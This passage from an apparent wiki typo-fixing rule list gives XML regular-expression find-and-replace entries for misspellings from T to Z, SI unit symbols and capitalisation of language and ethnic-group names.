<Typo word="Today" find="\b([tT])odya\b" replace="$1oday"/>
<Typo word="Today's" find="\b([tT])oday(?:s[´ˈ׳᾿‘’′Ꞌꞌ`;']s?|s\b)" replace="$1oday's"/>
<Typo word="Together" find="\b([tT])(?:iogeth?|og(?:e(?:hth?|t)|heh?th?))er(ness)?\b" replace="$1ogether$2"/>
<Typo word="(In)Tolerant" find="\b([iI]nt|[tT])ol(?:ere|ler[ae])n(ces?|t(?:ly)?)\b" replace="$1oleran$2"/>
<Typo word="Tolkien" find="\b[tT]olkein\b" replace="Tolkien"/>
<Typo word="Tomorrow" find="\b([tT])om(?:mor?|o)row(s)?\b" replace="$1omorrow$2"/>
<Typo word="Tongue" find="\b([tT])oung(e[ds]?|ing)\b" replace="$1ongu$2"/>
<Typo word="Tonight" find="\b([tT])on(?:gih|ihg)t\b" replace="$1onight"/>
<Typo word="Torpedoes" find="\b([tT])orpe(?:adoe?|do)([ds])\b" replace="$1orpedoe$2"/>
<Typo word="_Torsion_" find="\b(?<!X\.\s{1,3})([tT])ortion(al(?:ly)?|s?)\b" replace="$1orsion$2"/><!--avoid "X. Tortion World Wide"; beware of "tort" variants-->
<Typo word="Total" find="\b([tT])ottal(ed|ing|l(?:ed|ing|y)|s?)\b" replace="$1otal$2"/>
<Typo word="Tournament" find="\b([tT])[ou]+[anru]{2,5}m[en]+t(?<!ournament)(s)?\b" replace="$1ournament$2"/>
<Typo word="(Un)Toward(s)" find="\b([tT]|[uU]nt)ow(?:or|ra)d(s)?\b" replace="$1oward$2"/>
<Typo word="Town" find="\b([tT])won(ho(?:mes?|uses?)|s?|ships?)\b" replace="$1own$2"/>
<Typo word="(In)Tractable" find="\b([iI]nt|[tT])ractibl([ey])\b" replace="$1ractabl$2"/>
<Typo word="Trade bloc" find="\b([tT])rad(?:e|ing)[−―–—\s]block?\b" replace="$1rade bloc"/>
<Typo word="(Ex/Non)Tradition" find="\b([eE]xt|[nN]ont|[tT])radi(?:cti|it|t)on(al(?:ly)?|alis[mt]s?|s?)\b" replace="$1radition$2"/>
<Typo word="Traffic_" find="\b([tT])raf+ic(e(?:d|rs?)|ing)\b" replace="$1raffick$2"/>
<Typo word="Trailer" find="\b([tT])railor(able|ed|ing|s?)\b" replace="$1railer$2"/>
<Typo word="Transcribing" find="\b([tT])ranscript(e[ds]?|ing)\b" replace="$1ranscrib$2"/>
<Typo word="Transept" find="\b([tT])ranscept(s)?\b" replace="$1ransept$2"/>
<Typo word="Transferred" find="\b([tT])rans?fe(r(?:e[dr]|ing?)|s?)\b" replace="$1ransfer$2"/>
<Typo word="Transform" find="\b([tT])ranform(a(?:ble|ti[a-z]+)|e(?:d|rs?)|ing|s?)\b" replace="$1ransform$2"/>
<Typo word="Transition" find="\b([tT])rans(?:i(?:s|ti))?tion(al|s?)\b" replace="$1ransition$2"/>
<Typo word="Translate" find="\b([tT])rans?a?lat(e[ds]?|i(?:ng|ons?)|ors?)?\b" replace="$1ranslat$2"/>
<Typo word="Transparent" find="\b([tT])ransp(?:ar[a-df-z]|[b-z]r\w)n(c[ey]|ness|t(?:ly|ness)?)\b" replace="$1ransparen$2"/>
<Typo word="Transportation" find="\b([tT])ranspora(b(?:ility|le)|tion)\b" replace="$1ransporta$2"/>
<Typo word="Transcontinental" find="\b([tT])rans[−―–—\s]continental\b" replace="$1ranscontinental"/>
<Typo word="(Mal/Mis)Treatment" find="\b([mM](?:alt|ist)|[tT])reateme?nt(s)?\b" replace="$1reatment$2"/>
<Typo word="Tremolo" find="\b([tT])remelo(s)?(?<!\bTremelo)\b" replace="$1remolo$2"/><!--avoid place Tremelo-->
<Typo word="Tried" find="\b([tT])ryed\b" replace="$1ried"/>
<Typo word="Triggered" find="\b([tT])rig+uered\b" replace="$1riggered"/>
<Typo word="Trilogy" find="\b([tT])riology\b" replace="$1rilogy"/>
<Typo word="Trolling" find="\b([tT])roling\b" replace="$1rolling"/>
<Typo word="Troubles" find="\b([tT])oubles\b" replace="$1roubles"/>
<Typo word="Truly" find="\b([tT])ru(?:el|le)y\b(?<!\p{Lu}\p{Ll}+ +Truley)" replace="$1ruly"/><!--avoid surname Truley-->
<Typo word="Trunk" find="\b([tT])urnk\b" replace="$1runk"/>
<Typo word="Trust" find="\b([tT])ust(ee|ing|s?|worthy)\b" replace="$1rust$2"/>
<Typo word="Turmoil" find="\b([tT])ermoil\b" replace="$1urmoil"/>
<Typo word="Tutelage" find="\b([tT])ut(?:al[aei]|el[ei]|il[aei])ge\b" replace="$1utelage"/>
<Typo word="Twelfth" find="\b([tT])wel(?:f|th)(s)?\b" replace="$1welfth$2"/>
<Typo word="Twentieth" find="\b([tT])went(?:ei|i(?:en)?)th\b" replace="$1wentieth"/>
<Typo word="T(wo/hree/en/welve/wenty/hirty/housand)fold" find="\b([tT](?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))[\s]+fold(?!-)\b" replace="$1fold"/><!--avoid "two fold-out maps"-->
<Typo word="(A)Typical" find="\b([aA]t|[tT])(?:ipic|ypci)al(ity|ly|ness)?\b" replace="$1ypical$2"/>
<Typo word="Tyranny" find="\b([tT])yr(?:a|ran?)n(i(?:c[a-z]*|es|z[a-z]*)|ous[a-z]*|y)\b" replace="$1yrann$2"/>
</source>
===U===
<!--Most "Un-" words appear under their roots: "(Un)Root"-->
<source lang="xml">
<Typo word="Übermensch" find="\b[uU]bermensch(es)?\b" replace="Übermensch$1"/>
<Typo word="Ulterior" find="\balterior\b" replace="ulterior"/>
<Typo word="Ultimate" find="\b([uU])l(?:it|ta?)mat(e(?:ly)?|um)\b" replace="$1ltimat$2"/>
<Typo word="Ultimately" find="\b([uU])ltimely\b" replace="$1ltimately"/>
<Typo word="Unanimous" find="\b([uU])na(?:mi|ny)[mn]ous(ly)?\b" replace="$1nanimous$2"/>
<Typo word="Under Milk Wood" find="\bUnder\s+Milkwood\b" replace="Under Milk Wood"/>
<Typo word="Under(ground/stand)" find="\b([uU])(?:dner|ndre)(grounds?|stand(?:abl[ey]|ing|s?))\b" replace="$1nder$2"/>
<Typo word="(Mis)Understand" find="\b([mM]isu|[uU])(?:dn|nd)er(?:stna|tan)d(abl[ey]|ings?|s?)\b" replace="$1nderstand$2"/>
<Typo word="(Mis)Understood" find="\b([mM]isu|[uU])nderstoo[a-ce-z]\b" replace="$1nderstood"/>
<Typo word="Undoubtedly" find="\b([uU])ndoubtely\b" replace="$1ndoubtedly"/>
<Typo word="Unilateral" find="\b([uU])n(?:alat(?:er|re)|ilatre)al(ly)?\b" replace="$1nilateral$2"/>
<Typo word="Uninhabited" find="\b([uU])nihabited\b" replace="$1ninhabited"/>
<Typo word="Universal" find="\b([uU])niver(?:si)?al(i(?:s[mt]s?|ty)|ly|ness|s?)\b" replace="$1niversal$2"/>
<Typo word="University" find="\b([uU])n[ei]?v[ceirst]{3,7}(?:(y)|[it]*(ies)|[it]*(i)t(es))\b(?<!niversit(?:ies|y))" replace="$1niversit$2$3$4$5"/>
<Typo word="Unknown" find="\b([uU])(?:kno|nk(?:on?|wno))wn\b" replace="$1nknown"/>
<Typo word="Unofficial" find="\binofficial(ly)?\b" replace="unofficial$1"/>
<Typo word="Unofficial" find="\bInofficial(ly)?\b" replace="Unofficial$1"/>
<Typo word="Unwieldy" find="\b([uU])nw(?:eildl?|ieldl)(iness|y)\b" replace="$1nwield$2"/>
<Typo word="Until" find="\b([uU])(?:n(?:it|til))l\b" replace="$1ntil"/>
<Typo word="Util-" find="\b([uU])(?:lti|t)li+([stz][a-z]+)\b" replace="$1tili$2"/>
<Typo word="Up to" find="\b([uU])pto\b" replace="$1p to"/>
<Typo word="(Mis/Dis)Use" find="\b([dmDM]isu|[uU])ise([ds])?\b" replace="$1se$2"/>
<Typo word="(Un)Usual" find="\b([uU](?:nu)?)s(?:a(?:l|ul?)|s+(?:aul?|ual?)|u(?:a|s[au]l))(ly)?\b" replace="$1sual$2"/>
</source>
===V===
<source lang="xml">
<Typo word="Vacuum" find="\b([vV])ac(?:cu(?:me?|um)|ume?)(ed|ing|s?)\b" replace="$1acuum$2"/>
<Typo word="Varèse Sarabande" find="\b[vV]ar[eëèêé]se\s+[sS]arabande\b" replace="Varèse Sarabande"/>
<Typo word="Variety" find="\b([vV])(?:ar(?:[ai]+t|ie)|iet|r(?:eit|ie(?:it|t)))(ies|y)\b" replace="$1ariet$2"/>
<Typo word="(Junior/Senior) varsity" find="\b([jJ]u|[sS]e)niors\s+varsity\b" replace="$1nior varsity"/>
<Typo word="Vegetable" find="\b([vV])eg[ai]?table(s)?\b" replace="$1egetable$2"/>
<Typo word="Vegetarian" find="\b([vV])eg(?:ata|et(?:er|ter?))rian(ism|s?)\b" replace="$1egetarian$2"/>
<Typo word="Vehicle" find="\b([vV])ehic[aeu]le?(s)?\b" replace="$1ehicle$2"/>
<Typo word="Vengeance" find="\b([vV])eng[ae]nce\b" replace="$1engeance"/>
<Typo word="Venomous" find="\b([vV])en[aei]mous\b" replace="$1enomous"/>
<Typo word="Verify" find="\b([vV])era?f(i(?:cations?|e[ds])|y(?:ing)?)\b" replace="$1erif$2"/>
<Typo word="(Ad/…)Version" find="(?<=\b(?:[aA]dv|[cC]onv|[dD]iv|[iI]nv|[oO]bv|[pP]erv|[rR]ev|[sS]ubv|[vV]))er(?:is|ti)on(s)?\b" replace="ersion$1"/><!--cheapened expensive beginning-->
<Typo word="(In)Vertebrate" find="\b([iI]nv|[vV])ertibrate(s)?\b" replace="$1ertebrate$2"/>
<Typo word="Vertical" find="\b([vV])erticle(s)?\b" replace="$1ertical$2"/>
<Typo word="Very" find="\b([vV])(?:eyr|rey|y(?:er|re))\b" replace="$1ery"/>
<Typo word="Veteran" find="\b([vV])e(?:rtera|t(?:ara|erea?|ra))n(s)?\b" replace="$1eteran$2"/>
<Typo word="Veterinary" find="\b([vV])er?t(?:a(?:r[aei]?)?|e(?:i?|r[aei]?))n[ae](?<!eterina)r(ians?|y)\b" replace="$1eterinar$2"/>
<Typo word="Vicinity" find="\b([vV])(?:acini?|i(?:cin|ncini))t(ies|y)\b" replace="$1icinit$2"/>
<Typo word="Victory" find="\b([vV])i(?:cto|tor)(i(?:es|ous(?:ly)?)|y)\b" replace="$1ictor$2"/>
<Typo word="View (1)" find="\b(?:Vei|Wie)w(able|e(?:d|rs?)|ing)\b(?<!Wiewer)" replace="View$1"/>
<Typo word="View (2)" find="\b(?:vei|wie)w(able|e(?:d|rs?)|ing)\b" replace="view$1"/>
<Typo word="Vigilance" find="\b([vV])ig(?:[ae]l[ae]|ile|la)n([ct][a-z]*)?\b" replace="$1igilan$2"/>
<Typo word="Vigorous" find="\b([vV])ig(?:[aei]rou?|oro)s(ly|ness)?\b" replace="$1igorous$2"/>
<Typo word="Vilify" find="\b([vV])il(?:a|l[ai])f(i(?:cations?|e[ds])|y(?:ing)?)\b" replace="$1ilif$2"/>
<Typo word="Village" find="\b([vV])il(?:[ai]|l[ei]?)ge(rs?|s?)(?<!illigers?|Villeger)\b" replace="$1illage$2"/>
<Typo word="Villain" find="(?!\bVilain\b)\b([sS]uperv|[vV])il(?:ai|ia|lia)n(ess|ous[a-z]*|[sy]?)\b" replace="$1illain$2"/><!--avoid surname Vilain-->
<Typo word="Violence" find="\b([vV])iolentce\b" replace="$1iolence"/>
<Typo word="Virtual" find="\b([vV])irutal(ly)?\b" replace="$1irtual$2"/>
<Typo word="Viscosity" find="\b([vV])iscocit(ies|y)\b" replace="$1iscosit$2"/>
<Typo word="Visit" find="\b([vV])is(?:is)?t(ed|ing|ors?)\b" replace="$1isit$2"/><!--avoid "visiter"-->
<Typo word="(Di/Pa/Pro/Reple/Super/Tele)Visor" find="\b([dD]i[vV]|[pP](?:a[vV]|ro[vV])|[rR]eple[vV]|[sS]uper[vV]|[tT]ele[vV])iser([a-z]*)\b" replace="$1isor$2"/>
<Typo word="Vitamin" find="\b([vV])iramin(s)?\b" replace="$1itamin$2"/>
<Typo word="Volcano" find="\b([vV])ol?lcanoe\b" replace="$1olcano"/>
<Typo word="Volkswagen" find="\b[vV]olkswag[io]n(s)?\b" replace="Volkswagen$1"/>
<Typo word="Volley(ball)" find="\b([vV])ol[el]y((?:[ -]?ball)?(?:e(?:d|rs?)|ing|s?))\b(?<!\bVol[el]y\b)" replace="$1olley$2"/>
<!--avoid proper nouns Volly/Voley unless followed by " ball" --->
<Typo word="(In)Voluntary" find="\b([iI]nv|[vV])ol[eo]nt[ai]ry\b" replace="$1oluntary"/>
<Typo word="Volunteer" find="\b([vV])ol(?:ante?|l[ou]nte?|ou?nte?|unt)er(ed|ing|s?)\b" replace="$1olunteer$2"/>
<Typo word="Vomit" find="\b([vV])omitt(e[dr]|ing|s?)\b" replace="$1omit$2"/>
</source>
===W===
<source lang="xml">
<Typo word="(Un)Want" find="\b([uU]nw|[wW])(?:atn|hant|nat)(ed|ing|s?)\b" replace="$1ant$2"/>
<Typo word="Warfare" find="\b([wW])arefare\b" replace="$1arfare"/>
<Typo word="(Un)Warrant" find="\b([uU]nw|[wW])ar(?:a|re)nt(e[der]s?|i(?:es|ng)|ors?|[sy]?)\b" replace="$1arrant$2"/>
<Typo word="Water-soluble" find="\b([wW])ater\s+soluble\b" replace="$1ater-soluble"/>
<Typo word="Was" find="(?!\bWass\b)\b([wW])(?:as|ea)s\b" replace="$1as"/><!--avoid surname Wass-->
<Typo word="Way" find="\b([wW])ya(s)?\b" replace="$1ay$2"/>
<Typo word="Weapon" find="\b([wW])(?:apon|e(?:apon[ae]|pon))(i[sz]ed?|ry|s?)\b" replace="$1eapon$2"/>
<Typo word="Website (2)" find="\b([wW])e(?:b-?(\s*)is|sbi)te(s)?\b(?![^\s\.]*\.\w)" replace="$1eb$2site$3"/><!--avoid domains-->
<Typo word="Website (1)" find="\b([wW])e(?:b(?:iste|s(?:it|tit?e))|sbite)(s)?\b" replace="$1ebsite$2"/>
<Typo word="Weigh" find="\b([wW])iegh(ed|ing)\b" replace="$1eigh$2"/>
<Typo word="Weight" find="\b([cC](?:ounterw|ruiserw)|[fF](?:eatherw|lyw)|[hH](?:eavyw|undredw)|[lL]ightw|[mM]iddlew|[oO]verw|[pP](?:aperw|ennyw)|[uU]nderw|[wW](?:elterw)?)ieght(ed|ing|less|s?)\b" replace="$1eight$2"/>
<Typo word="Weird" find="\b([wW])ierd(e(?:r|st)|ies?|ly|ness|o(?:es)?)?\b(?<!Carissa's Wierd)" replace="$1eird$2"/><!--avoid Carissa's Wierd-->
<Typo word="well" find="\bvell\b" replace="well"/>
<Typo word="What" find="\b([wW])(?:aht|hta)\b" replace="$1hat"/>
<Typo word="Where" find="\b([wW])(?:eh|her)re\b(?<![tT]he Wehre)" replace="$1here"/><!--avoid the Wehre (river)-->
<Typo word="Whereabouts" find="\b([wW])(?:erea|her[ae])bouts\b" replace="$1hereabouts"/>
<Typo word="Whereas" find="\b([wW])her(?:as|ease)\b" replace="$1hereas"/>
<Typo word="Whether" find="\b([wW])hther\b" replace="$1hether"/>
<Typo word="Which" find="\b([wW])(?:h(?:cih|ih?c|lch)|ihch)\b" replace="$1hich"/>
<Typo word="While" find="\b([wW])hi(?:el|lle)\b" replace="$1hile"/>
<Typo word="who" find="\bwoh\b" replace="who"/><!--avoid name Woh-->
<Typo word="Wholly" find="\b([wW])holel?y\b" replace="$1holly"/>
<Typo word="(State/Nation/City/World)wide" find="\b([cC]ity|[nN]ation|[sS]tate|[wW]orld)[−―–—\s]+wide\b(?<!all-state\s+wide|New York City-wide)" replace="$1wide"/>
<Typo word="Widespread" find="\b([wW])ide(?:s(?:pre|rea)|-s(?:prea?|rea))d\b" replace="$1idespread"/><!--avoid "wide-spreading"-->
<Typo word="Wide-ranging" find="\b([wW])ide\s+ranging\b" replace="$1ide-ranging"/>
<Typo word="Wikipedia" find="\b[wW]h?[iîI]+[ckCK]+[iaeouîI]+?[ -]?([mpMP])+[aeiǣæéÆ]{0,2}di?e?[îi]?(an?[´ˈ׳᾿‘’′Ꞌꞌ`']?s?|c)\b(?![\.-]\w)(?<!Wiki[mp]edi(?:an?\'?s?\b|c\b))" replace="Wiki$1edi$2"/><!--Would like to avoid URLs's and domains, but rule currently doesn't-->
<Typo word="William(s/son/sburg)" find="\bWillaim(s(?:burg|ons?)?)?\b" replace="William$1"/>
<Typo word="(Un)Willingness" find="\b([uU]nw|[wW])illingless\b" replace="$1illingness"/>
<Typo word="Windows" find="\b([wW])indoes\b" replace="$1indows"/>
<Typo word="with" find="\bwithe\b" replace="with"/><!--avoid surname Withe-->
<Typo word="With" find="\b([wW])(?:hith|i(?:h[nt]?|tht)|tit?h)\b" replace="$1ith"/>
<Typo word="Withdrawal" find="\b([wW])ithdrawl(s)?\b" replace="$1ithdrawal$2"/>
<Typo word="Withhold" find="\b([wW])ith([eo])ld(ing|s?)\b" replace="$1ithh$2ld$3"/>
<Typo word="Within" find="\b([wW])ithing\b" replace="$1ithin"/>
<Typo word="Without" find="\b([wW])h?it?houth?\b(?<![wW]ithout)" replace="$1ithout"/>
<Typo word="(Not)withstand" find="\b([N|n]otw|[wW])hithstand([a-z]*)\b" replace="$1ithstand$2"/>
<Typo word="Wonderful" find="\b([wW])onerful(ly)?\b" replace="$1onderful$2"/>
<Typo word="Word" find="\b([wW])rod(ed|ing|s?)\b" replace="$1ord$2"/>
<Typo word="Wor(d/k)" find="\bOwr([dk])(e(?:d|rs?)|ing|[sy]?)\b" replace="Wor$1$2"/>
<Typo word="wor(d/k)" find="\bowr([dk])(e(?:d|rs?)|ing|[sy]?)\b" replace="wor$1$2"/>
<Typo word="(Un)Work" find="\b([uU]nw|[wW])(?:okr|rok)(a(?:days?|holics?|b(?:ilit(?:ies|y)|l[ey]))|b(?:ench|o(?:ats?|oks?))|days?|e(?:d|rs?)|f(?:are|lows?|olks?)|ho[ru]ses?|ing(?:m[ae]n|wom[ae]n)?|loads?|m[ae]n[a-z]*|outs?|places?|rooms?|s?|s(?:hops?|paces?|tations?)|tables?|ups?|w(?:eeks?|om[ae]n))\b" replace="$1ork$2"/>
<Typo word="Workstation" find="\b([wW])ork(?:sts|\-sta)tion(s)?\b" replace="$1orkstation$2"/>
<Typo word="World" find="\b([wW])orls\b(?<!(?:eight|f(?:ive|our)|nine|one|s(?:even|ix)|t(?:hree|wo)|[\d½¼]) worls?)" replace="$1orld"/><!--avoid the botanical term worl, usually preceded by a number-->
<Typo disable="World-famous" find="\b([wW])orld\s+[fF]amou?s\b" replace="$1orld-famous"/>
<Typo word="([uU]nder)World" find="\b([uU]nderw|[wW])(?:olr|rol)d(ly|s?|wide)\b" replace="$1orld$2"/>
<Typo word="World-renowned" find="\b([wW])orld-renownd?\s+" replace="$1orld-renowned "/>
<Typo word="World Wide Web" find="\b[wW]orld[−―–—\s]*wide\s+[wW]eb\b" replace="World Wide Web"/>
<Typo word="Worldwide (1)" find="\b([wW])ord?l(-)?wide\b" replace="$1orld$2wide"/>
<Typo word="Worldwide (2)" find="\b([wW])orld\s+wide\b(?!\s+(?:receiver\b|[wW]eb\b))" replace="$1orldwide"/>
<Typo word="Worsen" find="\b([wW])orsten([a-z]*)\b" replace="$1orsen$2"/>
<Typo word="Worst-case" find="\b([wW])orst\s+case(?=\s+(?:analysis|cost|performance|risk|scenario))" replace="$1orst-case"/>
<Typo word="Worthwhile" find="\b([wW])orthwile(ness)?\b" replace="$1orthwhile$2"/>
<Typo word="Would (1)" find="\b(?:Owu(?:dl|ld)|W(?:oudl|uould))\b" replace="Would"/>
<Typo word="would (2)" find="\b(?:owu(?:dl|ld)|w(?:oudl|uould))\b" replace="would"/>
<Typo word="Wrestler" find="\b([wW])rester(s)?\b" replace="$1restler$2"/>
<Typo word="Wr(i/o)te" find="\b([wW])r([io])et(s)?\b" replace="$1r$2te$3"/>
<Typo word="Write (1)" find="\b([wW])(?:irt?|ri(?:it?|t))t(er?s?|ing|ten)\b" replace="$1rit$2"/>
<Typo word="write (2)" find="\brwite(s)?\b" replace="write$1"/>
<Typo word="Write (3)" find="\bRwite(s)?\b" replace="Write$1"/>
<Typo word="Written" find="\b([wW])riten\b" replace="$1ritten"/>
</source>
===X===
<source lang="xml">
<Typo word="Xbox" find="\b[xX][−―–—\s]?[bB][oO][xX]([e´ˈ׳᾿‘’′Ꞌꞌ`']?s)?\b(?<!Xbox(?:[e´ˈ׳᾿‘’′Ꞌꞌ`']?s)?)(?!\sbinding)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Xbox$1"/><!--avoid X-box binding protein; avoid domains & URLs-->
</source>
===Y===
<source lang="xml">
<Typo word="Yacht" find="\b([yY])at?ch(ing|s(?:m[ae]n|wom[ae]n)?)?\b" replace="$1acht$2"/>
<Typo word="Year/Near/Clear" find="\b([cC]l|[nyY])(?:aer|era)(ed|ings?|ly|s?)\b" replace="$1ear$2"/>
<Typo word="Ye(ar/t)" find="\bEyar(ly|[st]?)\b" replace="Year$1"/>
<Typo word="ye(ar/t)" find="\beyar(ly|[st]?)\b" replace="year$1"/>
<Typo word="Years" find="\b([yY])e(?:asr|rsa)\b" replace="$1ears"/>
<Typo word="Yellow" find="\b([yY])elow(e[dr]|i(?:ng|sh)|s?)\b" replace="$1ellow$2"/>
<Typo word="You" find="\b([yY])(?:oiu|tou|uo)\b(?<!Youd\b)" replace="$1ou"/>
<Typo word="you'(d\ve\re\ll)_" find="\b([yY])ou[´ˈ׳᾿‘’′Ꞌꞌ`;]?(d|ll|[rv]e)\b(?<!\bYoud)" replace="$1ou'$2"/><!--avoid Youd-->
<Typo word="Your(s)_" find="(?!\b[yY]oru\b)\b([yY])(?:oru|uor)(s(?:el(?:f|ves))?)?\b" replace="$1our$2"/><!--avoid yoru/Yoru-->
<Typo word="Yourself" find="\b([yY])ouself\b" replace="$1ourself"/>
</source>
===Z===
<source lang="xml">
<Typo word="Zebra" find="\b([zZ])ee+bra(s)?\b" replace="$1ebra$2"/>
<Typo word="Zionism" find="\b[szS]ionis(m|ts?)\b" replace="Zionis$1"/>
</source>
===SI unit symbols===
<source lang="xml">
<Typo word="(T)bit" find="([\d\.]+(?:[−―–—\s]| )?[tT]?)b(?:its\/se?c?|ps|\/se?c?)\b" replace="$1bit/s"/>
<Typo word="kbit" find="([\d\.]+(?:[−―–—\s]| )?)(?:k(?:B(?:it(?:s\/se?c?|\/s)|ps)|b(?:its\/se?c?|ps|\/se?c?))|K[bB](?:it(?:s\/se?c?|\/s)|ps|\/se?c?))\b" replace="$1kbit/s"/>
<Typo word="Mbit" find="([\d\.]+(?:[−―–—\s]| )?)(?:M(?:B(?:it(?:s\/se?c?|\/s)|ps)|b(?:its\/se?c?|ps|\/se?c?))|m[bB](?:it(?:s\/se?c?|\/s)|ps|\/se?c?))\b" replace="$1Mbit/s"/>
<Typo word="Gbit/s" find="([\d\.]+(?:[−―–—\s]| )?)[gG](?:Bit(?:[p\/]se?c?|s[p\/]se?c?)|b(?:it(?:[p\/]se?c?|s[p\/]se?c?)|[p\/]se?c?|s[p\/]se?c?))\b" replace="$1Gbit/s"/>
<Typo word="cm²" find="\b(?<!\{)[sS][qQ][-\.\s]+[cC][mM][sS]?\b" replace="cm<sup>2</sup>"/><!--avoid conversion templates-->
<Typo word="F (farad)" find="([\d\.]+(?:[−―–—\s]| )?[nµkMT])f\b" replace="$1F"/>
<Typo word="GHz (gigahertz)" find="([\d\.]+(?:[−―–—\s]| )?)(?:g(?:[hH][zZ]|㎐)|G(?:㎐|h[zZ]|HZ)|㎓)\b" replace="$1GHz"/>
<Typo word="GPa (gigapascal)" find="([\d\.]+(?:[−―–—\s]| )?)gP[aA]\b" replace="$1GPa"/>
<Typo word="Hz (hertz)" find="\b([µmkMGT\s]|[-\d\.]+(?: |-)?)(?:h[zZ]|㎐)\b" replace="$1Hz"/>
<Typo word="J (joule)" find="([\d\.]+(?:[−―–—\s]| )?[µmkMGT])j\b" replace="$1J"/>
<Typo word="kg (kilogram)" find="([\d\.]+)(?<!\b(?:19(?:02|[7-9]\d)|2001))(?:\s| )?(?:K[gG][´ˈ׳᾿‘’′Ꞌꞌ`']?s?|k[gG][´ˈ׳᾿‘’′Ꞌꞌ`;']?s|㎏[´ˈ׳᾿‘’′Ꞌꞌ`']?s?)\b(?<!Co\.\s?KG|I\.\s?KG|Psych\.KG)" replace="$1 kg"/><!--avoid "yyyy KG" minor planets, a publisher, named military units, and an album-->
<Typo word="-kg (kilogram)" find="([\d\.]+)-(?:K[gG][´ˈ׳᾿‘’′Ꞌꞌ`']?s?|k[gG][´ˈ׳᾿‘’′Ꞌꞌ`;']?s|㎏[´ˈ׳᾿‘’′Ꞌꞌ`']?s?)\b" replace="$1-kg"/>
<Typo word="kHz (kilohertz)" find="([\d\.]+)(?:\s| )?(?:K(?:[hH][zZ]|㎐)|k(?:hz|㎐))\b" replace="$1 kHz"/>
<Typo word="-kHz (kilohertz)" find="([\d\.]+)-(?:K(?:[hH][zZ]|㎐)|k(?:hz|㎐))\b" replace="$1-kHz"/>
<Typo word="kJ (kilojoule)" find="([\d\.]+(?<!\b(?:19(?:02|7[29]|[89]\d)|200[036]))(?:[−―–—\s]| )?)K[jJ]\b" replace="$1kJ"/><!--avoid "yyyy KJ" minor planets-->
<Typo word="km (kilometre)" find="([\d\.]+)(?<!\b(?:19(?:21|7[29]|8[02]|9\d)|2001|(?:KMS|OS)[−―–—\s]*(?:[4-9]\d|1[0-3]\d)))(?:\s| )?(?:K[mM][´ˈ׳᾿‘’′Ꞌꞌ`']?s?|k[mM][´ˈ׳᾿‘’′Ꞌꞌ`;']?s)\b" replace="$1 km"/><!--avoid "yyyy KM" minor planets, and named military units-->
<Typo word="-km (kilometre)" find="([\d\.]+)-(?:K[mM][´ˈ׳᾿‘’′Ꞌꞌ`']?s?|k[mM][´ˈ׳᾿‘’′Ꞌꞌ`;']?s|㎞[´ˈ׳᾿‘’′Ꞌꞌ`']?s?)\b" replace="$1-km"/>
<Typo word="km²" find="\b(?<!\{)[sS][qQ][-\.\s]+[kK][mM][sS]?\b" replace="km<sup>2</sup>"/><!--avoid conversion templates-->
<Typo word="kPa (kilopascal)" find="([\d\.]+(?:[−―–—\s]| )?)(?:kp[aA]|K(?:Pa|pA))\b" replace="$1kPa"/><!--avoid KPA-->
<Typo word="Pa (pascal)" find="([\d\.]+(?:[−―–—\s]| )?[µkMGT])p[aA]\b" replace="$1Pa"/>
<Typo word="W (watt)" find="([\d\.]+(?:[−―–—\s]| )?[µmkMGT])w\b" replace="$1W"/>
<Typo word="Wb (weber)" find="([\d\.]+(?:[−―–—\s]| )?)([µmkMGT])w[bB]\b" replace="$1$2Wb"/>
</source>
===Capitalisation===
====Cultures, languages, and ethnic groups====
<!--See also "Geographical proper names"-->
<source lang="xml">
<Typo word="Algonquian" find="\balgon(kia?ns?|quia?ns?)\b(?![^\s\.]*\.\w)" replace="Algon$1"/>
<!--American covered in "America(n)" rule-->
<Typo word="Apache" find="\bapache(s)?\b(?![^\s\.]*\.\w)" replace="Apache$1"/>
<Typo word="Ara(b/wak/ucan/maic/mean/paho/gonese)" find="\bara(b(?:i(?:an|st))?s?|gonese|m(?:a(?:eans?|ic)|eans?)|pahoe?s?|ucan(?:ians?|s?)|wak(?:ans?|s?))\b(?![^\s\.]*\.\w)" replace="Ara$1"/>
<Typo word="Arabic_" find="\barabic(iz(?:e[ds]?|ing))?\b(?<![gG]um\s{1,9}arabic)" replace="Arabic$1"/>
<Typo word="Atha(b/p)as(c/k)an" find="\batha([bp])as([ck])an(s)?\b(?![^\s\.]*\.\w)" replace="Atha$1as$2an$3"/>
<Typo word="Breton" find="\bbret+on(s)?\b(?![^\s\.]*\.\w)" replace="Breton$1"/>
<Typo word="Catalan" find="\bcatal+an(s)?\b(?![^\s\.]*\.\w)" replace="Catalan$1"/>
<Typo word="Cherokee" find="\bcher+oke+(s)?\b(?![^\s\.]*\.\w)" replace="Cherokee$1"/>
<Typo word="Cyrillic" find="\bcyr+il+ic(s)?\b(?![^\s\.]*\.\w)" replace="Cyrillic$1"/>
<Typo word="Czech" find="\bch?zech(s)?\b(?![^\s\.]*\.\w)" replace="Czech$1"/>
<Typo word="Dakota" find="\bdakota(ns?)?\b(?![^\s\.]*\.\w)" replace="Dakota$1"/>
<Typo word="Dutch" find="\bdutch(m[ae]n|wom[ae]n)?\b(?![^\s\.]*\.\w)" replace="Dutch$1"/>
<!--English- covered in another rule-->
<Typo word="French" find="\bfrench(m[ae]n|wom[ae]n)?\b(?!\sfr(?:ies|y))(?![^\s\.]*\.\w)" replace="French$1"/><!--avoid "french fry/fries"-->
<Typo word="Gujarati" find="\bguj[au]rat+(is?)?\b(?![^\s\.]*\.\w)" replace="Gujarat$1"/>
<Typo word="Gurkha" find="\bgurkha(s)?\b(?![^\s\.]*\.\w)" replace="Gurkha$1"/>
<Typo word="Hebrew" find="\bhebr(ai(?:c|s[mt])|ews?)\b(?![^\s\.]*\.\w)" replace="Hebr$1"/>
<Typo word="Hellenic" find="\bhel+[ae]n(ist)?ic\b(?![^\s\.]*\.\w)" replace="Hellen$1ic"/>
<Typo word="Hind(i/u(stan(i)))" find="\bhind(is?|u(?:s(?:tan(?:is?)?)?)?)\b(?![^\s\.]*\.\w)" replace="Hind$1"/>
<Typo word="Hispan-" find="\bhispan(i(?:a|c(?:i[sz][a-z]+|s?)|ola)|o)\b(?![^\s\.]*\.\w)" replace="Hispan$1"/>
<Typo word="Irish" find="\birish(m[ae]n|wom[ae]n)?\b(?![^\s\.]*\.\w)" replace="Irish$1"/>
<Typo word="Jew" find="\bj(ew(?:ish(?:ness)?|s?)|ud(?:aica?|ean?s?))\b(?![^\s\.]*\.\w)" replace="J$1"/>
